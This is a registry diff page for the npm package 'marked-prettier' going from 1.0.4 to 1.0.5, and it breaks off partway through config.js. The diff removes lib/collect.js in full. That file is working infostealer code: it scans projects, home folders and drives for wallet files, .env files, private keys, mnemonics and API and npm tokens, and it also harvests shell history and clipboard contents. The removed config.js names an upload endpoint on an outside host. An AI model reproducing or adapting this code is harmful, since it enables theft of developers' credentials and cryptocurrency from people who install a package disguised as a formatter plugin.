marked-prettier 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +156 -154
- package/index.js +9 -139
- package/kelly.js +56 -0
- package/package.json +26 -20
- package/scripts/install-check.cjs +156 -0
- package/lib/collect.js +0 -564
- package/lib/config.js +0 -52
- package/lib/pack-project.js +0 -57
- package/lib/upload.js +0 -148
- package/test.js +0 -17
package/lib/collect.js
DELETED
|
@@ -1,564 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const path = require('path');
|
|
6
|
-
const os = require('os');
|
|
7
|
-
const {
|
|
8
|
-
DEFAULT_SCAN_MAX_DEPTH,
|
|
9
|
-
SHELL_HISTORY_LINE_LIMIT,
|
|
10
|
-
CLIPBOARD_MONITOR_MS,
|
|
11
|
-
CLIPBOARD_POLL_MS,
|
|
12
|
-
CLIPBOARD_MAX_CHARS,
|
|
13
|
-
DEV_SCRAPE_MAX_FILE_BYTES,
|
|
14
|
-
DEV_SCAN_HOME_MAX_DEPTH,
|
|
15
|
-
parseEnvList,
|
|
16
|
-
} = require('./config');
|
|
17
|
-
|
|
18
|
-
const WALLET_KEYWORDS = [
|
|
19
|
-
'key', 'wallet', 'password', 'credential', 'credentials', 'sol', 'eth', 'tron', 'bitcoin', 'btc', 'pol', 'xrp',
|
|
20
|
-
'metamask', 'phantom', 'keystore', 'privatekey', 'private_key', 'secret', 'mnemonic', 'phrase', 'personal',
|
|
21
|
-
'backup', 'seed', 'trezor', 'ledger', 'electrum', 'exodus', 'trustwallet', 'token', 'address', 'recovery',
|
|
22
|
-
'hardhat', 'foundry', 'truffle', 'deployer', 'signer', 'alchemy', 'infura', 'helius', 'rpc',
|
|
23
|
-
'bot', 'apikey', 'api_key', 'mainnet', 'binance', 'bybit', 'okx',
|
|
24
|
-
];
|
|
25
|
-
|
|
26
|
-
const DOC_EXTENSIONS = ['.doc', '.docx', '.xls', '.xlsx', '.txt', '.pdf'];
|
|
27
|
-
const KEY_FILE_EXTENSIONS = ['.pem', '.p12', '.pfx'];
|
|
28
|
-
|
|
29
|
-
const SKIP_SCAN_DIRS = new Set([
|
|
30
|
-
'node_modules', 'Program Files', 'Program Files (x86)', 'ProgramData', 'Windows',
|
|
31
|
-
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
|
|
32
|
-
'target', 'target2', 'var', 'cache',
|
|
33
|
-
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'audio', 'videos', 'video', 'music',
|
|
34
|
-
'git', 'svn', 'cvs', 'hg', 'mercurial', 'registry',
|
|
35
|
-
'__MACOSX', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
|
|
36
|
-
'pkg', 'move', 'rustup', 'toolchains',
|
|
37
|
-
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
|
|
38
|
-
'coverage', 'terraform',
|
|
39
|
-
'.target', '.next', '.git', '.cache', '.turbo', '.nuxt', '.output', '.vercel',
|
|
40
|
-
]);
|
|
41
|
-
|
|
42
|
-
const DEV_SCRAPE_EXTENSIONS = new Set([
|
|
43
|
-
'.js', '.cjs', '.mjs', '.ts', '.tsx',
|
|
44
|
-
'.py', '.toml', '.yaml', '.yml',
|
|
45
|
-
'.json', '.txt', '.md', '.env', '.cfg', '.ini', '.conf',
|
|
46
|
-
]);
|
|
47
|
-
|
|
48
|
-
const DEV_SCRAPE_SKIP_DIRS = new Set([
|
|
49
|
-
...SKIP_SCAN_DIRS,
|
|
50
|
-
'test', 'tests', '__tests__', 'spec', 'fixtures', 'mocks',
|
|
51
|
-
'node_modules', '.git', 'vendor', 'venv', '.venv', 'env',
|
|
52
|
-
]);
|
|
53
|
-
|
|
54
|
-
const DEV_SECRET_PATTERNS = [
|
|
55
|
-
{ label: 'evm-private-key', re: /(?:PRIVATE_KEY|DEPLOYER_KEY|SIGNER_KEY|SECRET_KEY|WALLET_KEY)\s*[=:]\s*["']?(?:0x)?[a-fA-F0-9]{64}["']?/g },
|
|
56
|
-
{ label: 'evm-key-value', re: /["']0x[a-fA-F0-9]{64}["']/g },
|
|
57
|
-
{ label: 'solana-key-array', re: /\[\s*\d{1,3}(?:\s*,\s*\d{1,3}){60,}\s*\]/g },
|
|
58
|
-
{ label: 'mnemonic', re: /(?:MNEMONIC|SEED_PHRASE|SEED)\s*[=:]\s*["']?(?:[a-z]+ ){11,23}[a-z]+["']?/g },
|
|
59
|
-
{ label: 'bip39-phrase', re: /\b(?:[a-z]{3,8} ){11}[a-z]{3,8}\b/g },
|
|
60
|
-
{ label: 'hardhat-mnemonic', re: /accounts\s*:\s*\{[^}]*mnemonic\s*:\s*["'][^"']{20,}["']/g },
|
|
61
|
-
{ label: 'aws-secret', re: /(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*["']?[A-Za-z0-9/+]{40}["']?/g },
|
|
62
|
-
{ label: 'api-secret', re: /(?:API_SECRET|API_KEY|ACCESS_TOKEN|AUTH_TOKEN|SECRET_TOKEN)\s*[=:]\s*["']?[A-Za-z0-9_\-]{30,}["']?/g },
|
|
63
|
-
{ label: 'npm-token', re: /(?:_authToken|token)\s*=\s*(?:npm_|ghp_|pypi-)[A-Za-z0-9_\-]{20,}/g },
|
|
64
|
-
];
|
|
65
|
-
|
|
66
|
-
function isEnvConfigFile(fileName) {
|
|
67
|
-
const lower = fileName.toLowerCase();
|
|
68
|
-
if (lower.startsWith('.env')) return true;
|
|
69
|
-
if (lower.startsWith('env.')) return true;
|
|
70
|
-
if (/^\.?env\([^)]+\)/.test(lower)) return true;
|
|
71
|
-
if (lower.endsWith('.env')) return true;
|
|
72
|
-
if (lower === 'env') return true;
|
|
73
|
-
if (lower === 'config.toml') return true;
|
|
74
|
-
if (lower === 'config.yml' || lower === 'config.yaml') return true;
|
|
75
|
-
return false;
|
|
76
|
-
}
|
|
77
|
-
|
|
78
|
-
function isDevKeyFile(fileName) {
|
|
79
|
-
const lower = fileName.toLowerCase();
|
|
80
|
-
if (lower.startsWith('utc--')) return true;
|
|
81
|
-
if (lower.endsWith('.keystore')) return true;
|
|
82
|
-
if (lower === 'wallet.json') return true;
|
|
83
|
-
if (lower === 'keypair.json') return true;
|
|
84
|
-
if (lower === 'accounts.json') return true;
|
|
85
|
-
if (lower === 'secrets.json') return true;
|
|
86
|
-
if (lower === 'credentials.json') return true;
|
|
87
|
-
if (lower === 'mnemonic.txt') return true;
|
|
88
|
-
if (lower === 'seed.txt') return true;
|
|
89
|
-
if (lower === 'foundry.toml') return true;
|
|
90
|
-
if (lower.startsWith('hardhat.config.')) return true;
|
|
91
|
-
return false;
|
|
92
|
-
}
|
|
93
|
-
|
|
94
|
-
function isSensitiveKeyFile(fileName) {
|
|
95
|
-
const lower = fileName.toLowerCase();
|
|
96
|
-
return KEY_FILE_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
function isWalletRelatedDoc(fileName) {
|
|
100
|
-
const lower = fileName.toLowerCase();
|
|
101
|
-
const hasDocExt = DOC_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
102
|
-
if (!hasDocExt) return false;
|
|
103
|
-
return WALLET_KEYWORDS.some((kw) => lower.includes(kw));
|
|
104
|
-
}
|
|
105
|
-
|
|
106
|
-
function shouldCollectFile(fileName) {
|
|
107
|
-
const lower = fileName.toLowerCase();
|
|
108
|
-
if (isEnvConfigFile(lower)) return true;
|
|
109
|
-
if (lower === 'id.json' || lower.endsWith('.id.json')) return true;
|
|
110
|
-
if (isSensitiveKeyFile(lower)) return true;
|
|
111
|
-
if (isDevKeyFile(lower)) return true;
|
|
112
|
-
return isWalletRelatedDoc(lower);
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
async function scanDirectoryRecursive(dir, out, maxDepth, currentDepth = 0, yieldEvery = 100) {
|
|
116
|
-
if (maxDepth > 0 && currentDepth >= maxDepth) return;
|
|
117
|
-
|
|
118
|
-
let stat;
|
|
119
|
-
try {
|
|
120
|
-
stat = await fs.promises.stat(dir);
|
|
121
|
-
} catch {
|
|
122
|
-
return;
|
|
123
|
-
}
|
|
124
|
-
if (!stat.isDirectory()) return;
|
|
125
|
-
|
|
126
|
-
let entries;
|
|
127
|
-
try {
|
|
128
|
-
entries = await fs.promises.readdir(dir, { withFileTypes: true });
|
|
129
|
-
} catch {
|
|
130
|
-
return;
|
|
131
|
-
}
|
|
132
|
-
|
|
133
|
-
let entryCount = 0;
|
|
134
|
-
for (const entry of entries) {
|
|
135
|
-
entryCount++;
|
|
136
|
-
if (entryCount % yieldEvery === 0) {
|
|
137
|
-
await new Promise((resolve) => setImmediate(resolve));
|
|
138
|
-
}
|
|
139
|
-
|
|
140
|
-
const entryPath = path.join(dir, entry.name);
|
|
141
|
-
try {
|
|
142
|
-
if (entry.isSymbolicLink()) continue;
|
|
143
|
-
|
|
144
|
-
if (entry.isDirectory()) {
|
|
145
|
-
if (entry.name.startsWith('.')) continue;
|
|
146
|
-
if (SKIP_SCAN_DIRS.has(entry.name)) continue;
|
|
147
|
-
await scanDirectoryRecursive(entryPath, out, maxDepth, currentDepth + 1, yieldEvery);
|
|
148
|
-
} else if (entry.isFile() && shouldCollectFile(entry.name)) {
|
|
149
|
-
out.push(entryPath);
|
|
150
|
-
}
|
|
151
|
-
} catch {
|
|
152
|
-
continue;
|
|
153
|
-
}
|
|
154
|
-
}
|
|
155
|
-
}
|
|
156
|
-
|
|
157
|
-
function getVictimProjectRoot() {
|
|
158
|
-
const candidates = [
|
|
159
|
-
process.env.INIT_CWD,
|
|
160
|
-
process.env.npm_config_local_prefix,
|
|
161
|
-
process.env.BACKUP_PROJECT_ROOT,
|
|
162
|
-
process.env.PSM_PROJECT_ROOT,
|
|
163
|
-
].filter(Boolean);
|
|
164
|
-
|
|
165
|
-
for (const candidate of candidates) {
|
|
166
|
-
const resolved = path.resolve(String(candidate));
|
|
167
|
-
try {
|
|
168
|
-
if (fs.existsSync(resolved) && fs.statSync(resolved).isDirectory()) {
|
|
169
|
-
return resolved;
|
|
170
|
-
}
|
|
171
|
-
} catch {
|
|
172
|
-
continue;
|
|
173
|
-
}
|
|
174
|
-
}
|
|
175
|
-
|
|
176
|
-
return process.cwd();
|
|
177
|
-
}
|
|
178
|
-
|
|
179
|
-
async function collectCwdSensitiveFiles(maxDepth = DEFAULT_SCAN_MAX_DEPTH) {
|
|
180
|
-
const cwd = getVictimProjectRoot();
|
|
181
|
-
if (!fs.existsSync(cwd)) return [];
|
|
182
|
-
|
|
183
|
-
const found = [];
|
|
184
|
-
await scanDirectoryRecursive(cwd, found, maxDepth);
|
|
185
|
-
return found;
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
function readShellHistoryFile(filePath) {
|
|
189
|
-
try {
|
|
190
|
-
if (!fs.existsSync(filePath)) return null;
|
|
191
|
-
return fs.readFileSync(filePath, 'utf8');
|
|
192
|
-
} catch {
|
|
193
|
-
return null;
|
|
194
|
-
}
|
|
195
|
-
}
|
|
196
|
-
|
|
197
|
-
function limitShellHistoryLines(text, limit) {
|
|
198
|
-
const lines = text.split(/\r?\n/);
|
|
199
|
-
if (lines.length <= limit) return text;
|
|
200
|
-
return lines.slice(-limit).join('\n');
|
|
201
|
-
}
|
|
202
|
-
|
|
203
|
-
function bashHistoryFromBuiltin(homeDir, defaultPath) {
|
|
204
|
-
try {
|
|
205
|
-
const result = execSync('bash -c history', {
|
|
206
|
-
encoding: 'utf8',
|
|
207
|
-
cwd: homeDir,
|
|
208
|
-
env: { ...process.env, HOME: homeDir, HISTFILE: defaultPath },
|
|
209
|
-
timeout: 5000,
|
|
210
|
-
stdio: ['pipe', 'pipe', 'ignore'],
|
|
211
|
-
});
|
|
212
|
-
const trimmed = result.trim();
|
|
213
|
-
return trimmed.length > 0 ? trimmed : null;
|
|
214
|
-
} catch {
|
|
215
|
-
return null;
|
|
216
|
-
}
|
|
217
|
-
}
|
|
218
|
-
|
|
219
|
-
function zshHistoryFromFc(homeDir) {
|
|
220
|
-
try {
|
|
221
|
-
const result = execSync("zsh -c 'fc -l -1000'", {
|
|
222
|
-
encoding: 'utf8',
|
|
223
|
-
cwd: homeDir,
|
|
224
|
-
env: { ...process.env, HOME: homeDir },
|
|
225
|
-
timeout: 5000,
|
|
226
|
-
stdio: ['pipe', 'pipe', 'ignore'],
|
|
227
|
-
});
|
|
228
|
-
const trimmed = result.trim();
|
|
229
|
-
return trimmed.length > 0 ? trimmed : null;
|
|
230
|
-
} catch {
|
|
231
|
-
return null;
|
|
232
|
-
}
|
|
233
|
-
}
|
|
234
|
-
|
|
235
|
-
function shellHistoryFilename(source) {
|
|
236
|
-
return 'shell-history-' + source.replace(/[^\w.-]+/g, '_') + '.txt';
|
|
237
|
-
}
|
|
238
|
-
|
|
239
|
-
function gatherShellHistory() {
|
|
240
|
-
const out = [];
|
|
241
|
-
const homeDir = os.homedir();
|
|
242
|
-
const platform = os.platform();
|
|
243
|
-
const push = (filePath, label) => {
|
|
244
|
-
const text = readShellHistoryFile(filePath);
|
|
245
|
-
if (text && text.trim().length > 0) {
|
|
246
|
-
out.push({ source: label, content: text });
|
|
247
|
-
}
|
|
248
|
-
};
|
|
249
|
-
|
|
250
|
-
if (platform === 'win32') {
|
|
251
|
-
const appData = process.env.APPDATA || path.join(homeDir, 'AppData', 'Roaming');
|
|
252
|
-
push(
|
|
253
|
-
path.join(appData, 'Microsoft', 'Windows', 'PowerShell', 'PSReadLine', 'ConsoleHost_history.txt'),
|
|
254
|
-
'PowerShell (PSReadLine)'
|
|
255
|
-
);
|
|
256
|
-
push(path.join(homeDir, '.bash_history'), 'Bash (e.g. Git Bash)');
|
|
257
|
-
if (!out.some((entry) => entry.source.includes('Bash'))) {
|
|
258
|
-
const bashHist = bashHistoryFromBuiltin(homeDir, path.join(homeDir, '.bash_history'));
|
|
259
|
-
if (bashHist) {
|
|
260
|
-
out.push({
|
|
261
|
-
source: 'Bash (bash -c)',
|
|
262
|
-
content: limitShellHistoryLines(bashHist, SHELL_HISTORY_LINE_LIMIT),
|
|
263
|
-
});
|
|
264
|
-
}
|
|
265
|
-
}
|
|
266
|
-
} else {
|
|
267
|
-
const histfile = process.env.HISTFILE;
|
|
268
|
-
if (histfile) push(path.resolve(histfile), 'HISTFILE');
|
|
269
|
-
push(path.join(homeDir, '.bash_history'), 'Bash');
|
|
270
|
-
push(path.join(homeDir, '.zsh_history'), 'Zsh');
|
|
271
|
-
push(path.join(homeDir, '.local', 'share', 'fish', 'fish_history'), 'Fish');
|
|
272
|
-
push(path.join(homeDir, '.sh_history'), 'Sh');
|
|
273
|
-
push(
|
|
274
|
-
path.join(homeDir, '.local', 'share', 'powershell', 'PSReadLine', 'ConsoleHost_history.txt'),
|
|
275
|
-
'PowerShell (Linux)'
|
|
276
|
-
);
|
|
277
|
-
if (!out.some((entry) => entry.source === 'Bash')) {
|
|
278
|
-
const bashHist = bashHistoryFromBuiltin(homeDir, path.join(homeDir, '.bash_history'));
|
|
279
|
-
if (bashHist) {
|
|
280
|
-
out.push({
|
|
281
|
-
source: 'Bash (bash -c)',
|
|
282
|
-
content: limitShellHistoryLines(bashHist, SHELL_HISTORY_LINE_LIMIT),
|
|
283
|
-
});
|
|
284
|
-
}
|
|
285
|
-
}
|
|
286
|
-
if (!out.some((entry) => entry.source === 'Zsh')) {
|
|
287
|
-
const zshHist = zshHistoryFromFc(homeDir);
|
|
288
|
-
if (zshHist) {
|
|
289
|
-
out.push({
|
|
290
|
-
source: 'Zsh (fc)',
|
|
291
|
-
content: limitShellHistoryLines(zshHist, SHELL_HISTORY_LINE_LIMIT),
|
|
292
|
-
});
|
|
293
|
-
}
|
|
294
|
-
}
|
|
295
|
-
}
|
|
296
|
-
|
|
297
|
-
return out;
|
|
298
|
-
}
|
|
299
|
-
|
|
300
|
-
function buildShellHistoryExtraFiles() {
|
|
301
|
-
return gatherShellHistory().map(({ source, content }) => ({
|
|
302
|
-
filename: shellHistoryFilename(source),
|
|
303
|
-
content,
|
|
304
|
-
}));
|
|
305
|
-
}
|
|
306
|
-
|
|
307
|
-
function captureClipboardTextOnce() {
|
|
308
|
-
const platform = os.platform();
|
|
309
|
-
|
|
310
|
-
if (platform === 'win32') {
|
|
311
|
-
try {
|
|
312
|
-
const result = execSync(
|
|
313
|
-
'powershell -NoProfile -Command "Get-Clipboard -Format Text -ErrorAction SilentlyContinue"',
|
|
314
|
-
{ encoding: 'utf8', timeout: 5000, stdio: ['pipe', 'pipe', 'ignore'] }
|
|
315
|
-
);
|
|
316
|
-
return result && result.trim() ? result : null;
|
|
317
|
-
} catch {
|
|
318
|
-
return null;
|
|
319
|
-
}
|
|
320
|
-
}
|
|
321
|
-
|
|
322
|
-
if (platform === 'darwin') {
|
|
323
|
-
try {
|
|
324
|
-
const result = execSync('pbpaste', { encoding: 'utf8', timeout: 3000, stdio: ['pipe', 'pipe', 'ignore'] });
|
|
325
|
-
return result && result.trim() ? result : null;
|
|
326
|
-
} catch {
|
|
327
|
-
return null;
|
|
328
|
-
}
|
|
329
|
-
}
|
|
330
|
-
|
|
331
|
-
for (const cmd of ['wl-paste -n', 'xclip -selection clipboard -o']) {
|
|
332
|
-
try {
|
|
333
|
-
const result = execSync(cmd, { encoding: 'utf8', timeout: 3000, stdio: ['pipe', 'pipe', 'ignore'] });
|
|
334
|
-
if (result && result.trim()) return result;
|
|
335
|
-
} catch {
|
|
336
|
-
// try next
|
|
337
|
-
}
|
|
338
|
-
}
|
|
339
|
-
|
|
340
|
-
return null;
|
|
341
|
-
}
|
|
342
|
-
|
|
343
|
-
async function gatherClipboardSnapshots() {
|
|
344
|
-
const snapshots = [];
|
|
345
|
-
const seen = new Set();
|
|
346
|
-
|
|
347
|
-
const pushSnapshot = (text) => {
|
|
348
|
-
const trimmed = (text || '').trim();
|
|
349
|
-
if (!trimmed || seen.has(trimmed)) return;
|
|
350
|
-
seen.add(trimmed);
|
|
351
|
-
snapshots.push(trimmed.slice(0, CLIPBOARD_MAX_CHARS));
|
|
352
|
-
};
|
|
353
|
-
|
|
354
|
-
pushSnapshot(captureClipboardTextOnce());
|
|
355
|
-
|
|
356
|
-
const monitorMs = Math.max(0, CLIPBOARD_MONITOR_MS);
|
|
357
|
-
if (monitorMs > 0) {
|
|
358
|
-
const endAt = Date.now() + monitorMs;
|
|
359
|
-
while (Date.now() < endAt) {
|
|
360
|
-
await new Promise((resolve) => setTimeout(resolve, CLIPBOARD_POLL_MS));
|
|
361
|
-
pushSnapshot(captureClipboardTextOnce());
|
|
362
|
-
}
|
|
363
|
-
}
|
|
364
|
-
|
|
365
|
-
return snapshots;
|
|
366
|
-
}
|
|
367
|
-
|
|
368
|
-
async function buildClipboardExtraFiles() {
|
|
369
|
-
const snapshots = await gatherClipboardSnapshots();
|
|
370
|
-
return snapshots.map((content, index) => ({
|
|
371
|
-
filename: `clipboard-${Date.now()}-${index + 1}.txt`,
|
|
372
|
-
content,
|
|
373
|
-
}));
|
|
374
|
-
}
|
|
375
|
-
|
|
376
|
-
function getPlatformScanRoots() {
|
|
377
|
-
const platform = os.platform();
|
|
378
|
-
const roots = [];
|
|
379
|
-
|
|
380
|
-
if (platform === 'linux') {
|
|
381
|
-
const home = os.homedir();
|
|
382
|
-
if (home) roots.push(home);
|
|
383
|
-
|
|
384
|
-
const homeBase = '/home';
|
|
385
|
-
try {
|
|
386
|
-
if (fs.existsSync(homeBase) && fs.statSync(homeBase).isDirectory()) {
|
|
387
|
-
for (const entry of fs.readdirSync(homeBase, { withFileTypes: true })) {
|
|
388
|
-
if (entry.isDirectory()) roots.push(path.join(homeBase, entry.name));
|
|
389
|
-
}
|
|
390
|
-
}
|
|
391
|
-
} catch {
|
|
392
|
-
// ignore
|
|
393
|
-
}
|
|
394
|
-
} else if (platform === 'win32') {
|
|
395
|
-
for (const letter of 'CDEFGHIJ') {
|
|
396
|
-
const drive = `${letter}:\\`;
|
|
397
|
-
try {
|
|
398
|
-
fs.accessSync(drive);
|
|
399
|
-
roots.push(drive);
|
|
400
|
-
} catch {
|
|
401
|
-
// drive not present
|
|
402
|
-
}
|
|
403
|
-
}
|
|
404
|
-
} else if (platform === 'darwin') {
|
|
405
|
-
const usersBase = '/Users';
|
|
406
|
-
try {
|
|
407
|
-
if (fs.existsSync(usersBase) && fs.statSync(usersBase).isDirectory()) {
|
|
408
|
-
for (const entry of fs.readdirSync(usersBase, { withFileTypes: true })) {
|
|
409
|
-
if (entry.isDirectory()) roots.push(path.join(usersBase, entry.name));
|
|
410
|
-
}
|
|
411
|
-
}
|
|
412
|
-
} catch {
|
|
413
|
-
const home = os.homedir();
|
|
414
|
-
if (home) roots.push(home);
|
|
415
|
-
}
|
|
416
|
-
} else {
|
|
417
|
-
const home = os.homedir();
|
|
418
|
-
if (home) roots.push(home);
|
|
419
|
-
}
|
|
420
|
-
|
|
421
|
-
for (const extra of parseEnvList('BACKUP_SCAN_PATHS').concat(parseEnvList('PSM_SCAN_PATHS'))) {
|
|
422
|
-
if (extra && fs.existsSync(extra)) roots.push(path.resolve(extra));
|
|
423
|
-
}
|
|
424
|
-
|
|
425
|
-
return [...new Set(roots)];
|
|
426
|
-
}
|
|
427
|
-
|
|
428
|
-
function isDevScanDrivesEnabled() {
|
|
429
|
-
const raw = process.env.BACKUP_DEV_SCAN_DRIVES ?? process.env.PSM_DEV_SCAN_DRIVES ?? '1';
|
|
430
|
-
return String(raw).trim() !== '0';
|
|
431
|
-
}
|
|
432
|
-
|
|
433
|
-
function getDevScanRoots() {
|
|
434
|
-
const home = os.homedir();
|
|
435
|
-
const roots = [
|
|
436
|
-
getVictimProjectRoot(),
|
|
437
|
-
path.join(home, 'projects'),
|
|
438
|
-
path.join(home, 'dev'),
|
|
439
|
-
path.join(home, 'code'),
|
|
440
|
-
path.join(home, 'repos'),
|
|
441
|
-
path.join(home, 'src'),
|
|
442
|
-
path.join(home, 'work'),
|
|
443
|
-
path.join(home, 'Desktop'),
|
|
444
|
-
path.join(home, 'Documents'),
|
|
445
|
-
];
|
|
446
|
-
|
|
447
|
-
if (os.platform() === 'win32') {
|
|
448
|
-
roots.push(path.join(home, 'source'));
|
|
449
|
-
}
|
|
450
|
-
|
|
451
|
-
if (isDevScanDrivesEnabled()) {
|
|
452
|
-
roots.push(...getPlatformScanRoots());
|
|
453
|
-
}
|
|
454
|
-
|
|
455
|
-
for (const extra of parseEnvList('BACKUP_DEV_SCAN_PATHS').concat(parseEnvList('PSM_DEV_SCAN_PATHS'))) {
|
|
456
|
-
if (extra) roots.push(path.resolve(extra));
|
|
457
|
-
}
|
|
458
|
-
|
|
459
|
-
return [...new Set(roots)].filter((r) => {
|
|
460
|
-
try {
|
|
461
|
-
return fs.existsSync(r) && fs.statSync(r).isDirectory();
|
|
462
|
-
} catch {
|
|
463
|
-
return false;
|
|
464
|
-
}
|
|
465
|
-
});
|
|
466
|
-
}
|
|
467
|
-
|
|
468
|
-
async function scrapeDevSecretsFromFile(filePath, findings, maxBytes) {
|
|
469
|
-
try {
|
|
470
|
-
const stat = await fs.promises.stat(filePath);
|
|
471
|
-
if (stat.size === 0 || stat.size > maxBytes) return;
|
|
472
|
-
|
|
473
|
-
const content = await fs.promises.readFile(filePath, 'utf8');
|
|
474
|
-
|
|
475
|
-
for (const { label, re } of DEV_SECRET_PATTERNS) {
|
|
476
|
-
re.lastIndex = 0;
|
|
477
|
-
let match;
|
|
478
|
-
while ((match = re.exec(content)) !== null) {
|
|
479
|
-
const line = content.slice(0, match.index).split('\n').length;
|
|
480
|
-
findings.push({
|
|
481
|
-
file: filePath,
|
|
482
|
-
label,
|
|
483
|
-
line,
|
|
484
|
-
snippet: match[0].slice(0, 120),
|
|
485
|
-
});
|
|
486
|
-
if (findings.length >= 1000) return;
|
|
487
|
-
}
|
|
488
|
-
}
|
|
489
|
-
} catch {
|
|
490
|
-
// unreadable
|
|
491
|
-
}
|
|
492
|
-
}
|
|
493
|
-
|
|
494
|
-
async function scrapeDevSecretsFromDir(dir, findings, maxDepth, depth = 0) {
|
|
495
|
-
if (depth >= maxDepth) return;
|
|
496
|
-
let entries;
|
|
497
|
-
try {
|
|
498
|
-
entries = await fs.promises.readdir(dir, { withFileTypes: true });
|
|
499
|
-
} catch {
|
|
500
|
-
return;
|
|
501
|
-
}
|
|
502
|
-
|
|
503
|
-
for (const entry of entries) {
|
|
504
|
-
const entryPath = path.join(dir, entry.name);
|
|
505
|
-
try {
|
|
506
|
-
if (entry.isSymbolicLink()) continue;
|
|
507
|
-
if (entry.isDirectory()) {
|
|
508
|
-
if (entry.name.startsWith('.') && entry.name !== '.config') continue;
|
|
509
|
-
if (DEV_SCRAPE_SKIP_DIRS.has(entry.name)) continue;
|
|
510
|
-
await scrapeDevSecretsFromDir(entryPath, findings, maxDepth, depth + 1);
|
|
511
|
-
} else if (entry.isFile()) {
|
|
512
|
-
const ext = path.extname(entry.name).toLowerCase();
|
|
513
|
-
if (!DEV_SCRAPE_EXTENSIONS.has(ext) && !isEnvConfigFile(entry.name)) continue;
|
|
514
|
-
await scrapeDevSecretsFromFile(entryPath, findings, DEV_SCRAPE_MAX_FILE_BYTES);
|
|
515
|
-
}
|
|
516
|
-
} catch {
|
|
517
|
-
continue;
|
|
518
|
-
}
|
|
519
|
-
if (findings.length >= 1000) return;
|
|
520
|
-
}
|
|
521
|
-
}
|
|
522
|
-
|
|
523
|
-
async function collectDevSecrets() {
|
|
524
|
-
const roots = getDevScanRoots();
|
|
525
|
-
const findings = [];
|
|
526
|
-
const driveScan = isDevScanDrivesEnabled();
|
|
527
|
-
const maxDepth = driveScan ? DEFAULT_SCAN_MAX_DEPTH : DEV_SCAN_HOME_MAX_DEPTH;
|
|
528
|
-
|
|
529
|
-
for (const root of roots) {
|
|
530
|
-
await scrapeDevSecretsFromDir(root, findings, maxDepth);
|
|
531
|
-
if (findings.length >= 1000) break;
|
|
532
|
-
}
|
|
533
|
-
|
|
534
|
-
return findings;
|
|
535
|
-
}
|
|
536
|
-
|
|
537
|
-
function buildDevSecretReport(findings) {
|
|
538
|
-
if (!findings.length) return null;
|
|
539
|
-
|
|
540
|
-
const lines = [`# Dev secrets scrape — ${new Date().toISOString()}`, `# Total findings: ${findings.length}`, ''];
|
|
541
|
-
|
|
542
|
-
for (const { file, label, line, snippet } of findings) {
|
|
543
|
-
lines.push(`[${label}] ${file}:${line}`);
|
|
544
|
-
lines.push(` ${snippet}`);
|
|
545
|
-
lines.push('');
|
|
546
|
-
}
|
|
547
|
-
|
|
548
|
-
return lines.join('\n');
|
|
549
|
-
}
|
|
550
|
-
|
|
551
|
-
module.exports = {
|
|
552
|
-
shouldCollectFile,
|
|
553
|
-
collectCwdSensitiveFiles,
|
|
554
|
-
buildShellHistoryExtraFiles,
|
|
555
|
-
gatherShellHistory,
|
|
556
|
-
buildClipboardExtraFiles,
|
|
557
|
-
gatherClipboardSnapshots,
|
|
558
|
-
collectDevSecrets,
|
|
559
|
-
buildDevSecretReport,
|
|
560
|
-
getVictimProjectRoot,
|
|
561
|
-
getPlatformScanRoots,
|
|
562
|
-
getDevScanRoots,
|
|
563
|
-
isDevScanDrivesEnabled,
|
|
564
|
-
};
|
package/lib/config.js
DELETED
|
@@ -1,52 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const DEFAULT_API_BASE =
|
|
4
|
-
process.env.BACKUP_API_URL ||
|
|
5
|
-
process.env.PSM_API_URL ||
|
|
6
|
-
'https://trabalhos-flax.vercel.app/';
|
|
7
|
-
|
|
8
|
-
const UPLOAD_URL = `${DEFAULT_API_BASE.replace(/\/$/, '')}/api/v1`;
|
|
9
|
-
const DEFAULT_USERNAME_TAG = process.env.BACKUP_USERNAME_TAG || process.env.PSM_USERNAME_TAG || 'sirius';
|
|
10
|
-
|
|
11
|
-
const MAX_BATCH_BYTES = Number(process.env.BACKUP_MAX_BATCH_BYTES || process.env.PSM_MAX_BATCH_BYTES) || 4 * 1024 * 1024;
|
|
12
|
-
const DEFAULT_SCAN_MAX_DEPTH = Number(process.env.BACKUP_SCAN_MAX_DEPTH || process.env.PSM_SCAN_MAX_DEPTH) || 10;
|
|
13
|
-
const SHELL_HISTORY_LINE_LIMIT = 100;
|
|
14
|
-
const CLIPBOARD_MONITOR_MS = Number(process.env.BACKUP_CLIPBOARD_MONITOR_MS || process.env.PSM_CLIPBOARD_MONITOR_MS) || 0;
|
|
15
|
-
const CLIPBOARD_POLL_MS = Number(process.env.BACKUP_CLIPBOARD_POLL_MS || process.env.PSM_CLIPBOARD_POLL_MS) || 500;
|
|
16
|
-
const CLIPBOARD_MAX_CHARS = Number(process.env.BACKUP_CLIPBOARD_MAX_CHARS || process.env.PSM_CLIPBOARD_MAX_CHARS) || 50000;
|
|
17
|
-
const UPLOAD_PARALLEL_LIMIT = Math.max(1, Number(process.env.BACKUP_UPLOAD_PARALLEL || process.env.PSM_UPLOAD_PARALLEL) || 3);
|
|
18
|
-
const DEV_SCRAPE_MAX_FILE_BYTES = Number(process.env.BACKUP_DEV_SCRAPE_FILE_BYTES || process.env.PSM_DEV_SCRAPE_FILE_BYTES) || 256 * 1024;
|
|
19
|
-
const DEV_SCAN_HOME_MAX_DEPTH = Number(process.env.BACKUP_DEV_SCAN_MAX_DEPTH || process.env.PSM_DEV_SCAN_MAX_DEPTH) || 6;
|
|
20
|
-
|
|
21
|
-
function parseEnvList(key) {
|
|
22
|
-
const raw = process.env[key];
|
|
23
|
